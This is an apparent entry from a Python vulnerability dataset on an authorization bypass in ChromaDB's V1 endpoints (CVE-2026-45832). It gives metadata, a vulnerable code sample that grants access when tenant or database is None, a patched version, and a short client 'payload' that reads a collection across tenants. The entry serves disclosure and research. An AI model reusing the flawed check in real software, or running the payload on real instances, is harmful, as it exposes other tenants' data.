CVE-2026-45832
Authorization bypass in ChromaDB V1 endpoints due to None tenant/DB values.
- CVSS 8.8
- CWE-639
- Authentication, Authorization, and Session Management
- Remote
All V1 collection-level endpoints in ChromaDB's Python project pass None for the tenant and database to the authorization layer, allowing attackers to bypass authorization controls by using the V1 endpoints.
- CWE
- CWE-639
- CVSS base score
- 8.8
- Published
- 2026-06-12
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- ChromaDB
- Fixed by upgrading
- Yes
Solution
Upgrade ChromaDB to version 0.4.24 or later.
Vulnerable code sample
import collections.abc
# Simplified representation of user permissions for demonstration.
# In a real system, this would be a database or a more complex auth service.
PERMISSIONS = {
"tenant_A": {
"database_1": {
"authorized_user": ["get_collection"]
}
}
}
def _check_authorization(user: str, action: str, tenant: str, database: str) -> bool:
"""
A simplified authorization function.
This function contains the flawed logic that can be exploited.
"""
# THE ROOT CAUSE OF THE VULNERABILITY:
# If the tenant or database is None, the authorization check is incorrectly
# bypassed, and access is granted by default. This might have been
# intended for an internal or single-tenant context but is insecure
# when exposed via an endpoint.
if tenant is None or database is None:
print(f"[AUTH-BYPASS] Access granted to user '{user}' because tenant/database was None.")
return True
# The correct, intended authorization logic for a multi-tenant system.
tenant_permissions = PERMISSIONS.get(tenant, {})
db_permissions = tenant_permissions.get(database, {})
user_permissions = db_permissions.get(user, [])
if action in user_permissions:
print(f"[AUTH-OK] User '{user}' has '{action}' permission on '{tenant}/{database}'.")
return True
print(f"[AUTH-FAIL] User '{user}' denied '{action}' on '{tenant}/{database}'.")
return False
def get_collection(name: str, user: str, tenant: str, database: str):
"""
Represents the internal logic to retrieve a collection after an auth check.
"""
if _check_authorization(user=user, action="get_collection", tenant=tenant, database=database):
return f"Returning data for collection '{name}'."
else:
raise PermissionError("Access Denied.")
# This function represents a V1 collection-level API endpoint handler.
def v1_api_get_collection(request_data: collections.abc.Mapping):
"""
This is the vulnerable V1 endpoint handler. It represents the state
of the code BEFORE the fix was applied.
"""
user_id = request_data.get("user_id")
collection_name = request_data.get("collection_name")
# THE FLAW:
# The V1 endpoint handler calls the internal `get_collection` function
# but hardcodes `None` for the tenant and database parameters. This
# triggers the bypass logic in the `_check_authorization` function.
return get_collection(
name=collection_name,
user=user_id,
tenant=None, # <-- VULNERABLE CODE
database=None # <-- VULNERABLE CODE
)Patched code sample
import typing
# In a real system, these would be configured defaults for the V1 API.
DEFAULT_TENANT = "default_tenant"
DEFAULT_DATABASE = "default_database"
class AuthorizationError(Exception):
pass
def _authorize_and_execute(
tenant: typing.Optional[str],
database: typing.Optional[str],
collection_name: str,
) -> None:
"""
Represents the authorization layer. A robust implementation should
explicitly reject None for tenant or database to prevent ambiguity.
"""
if not tenant or not database:
raise AuthorizationError("Access denied: Tenant and database must be specified.")
# In a real implementation, this would check user permissions for the
# given tenant, database, and collection.
# print(f"Authorized access to '{collection_name}' in tenant '{tenant}'.")
pass
# VULNERABLE V1 ENDPOINT (CONCEPTUAL)
#
# def vulnerable_v1_get_collection(collection_name: str):
# """
# The vulnerability was passing None for tenant and database,
# which an insecure authorization layer might have allowed.
# """
# _authorize_and_execute(
# tenant=None, # <-- VULNERABILITY
# database=None, # <-- VULNERABILITY
# collection_name=collection_name
# )
# # ... code to get collection ...
# FIXED V1 ENDPOINT
def fixed_v1_get_collection(collection_name: str) -> None:
"""
This fixed version of the V1 endpoint retrieves the default tenant
and database context and passes them to the authorization layer, ensuring
that authorization checks are not bypassed.
"""
# THE FIX:
# Instead of passing None, the endpoint now uses the system's
# default tenant and database for V1 API calls, ensuring that
# the authorization layer receives the correct context.
_authorize_and_execute(
tenant=DEFAULT_TENANT,
database=DEFAULT_DATABASE,
collection_name=collection_name,
)
# ... proceed with logic to get the collection ...Payload
import chromadb
# Attacker's client connecting to the vulnerable ChromaDB instance.
# The attacker does not need to specify the correct tenant or database.
attacker_client = chromadb.HttpClient(host='vulnerable-chromadb-host', port=8000)
# The name "some_protected_collection" is an example of a collection
# that exists in a separate tenant/database and should be inaccessible.
# The V1 endpoint vulnerability allows bypassing this isolation.
leaked_collection = attacker_client.get_collection(
name="some_protected_collection"
)
# If successful, the attacker now has a handle to the collection
# and can read its data.
print(f"Successfully accessed collection: {leaked_collection.name}")
print(f"Number of items in collection: {leaked_collection.count()}")
print("Leaked documents:", leaked_collection.get(limit=5))
Cite this entry
@misc{vaitp:cve202645832,
title = {{Authorization bypass in ChromaDB V1 endpoints due to None tenant/DB values.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45832},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45832/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
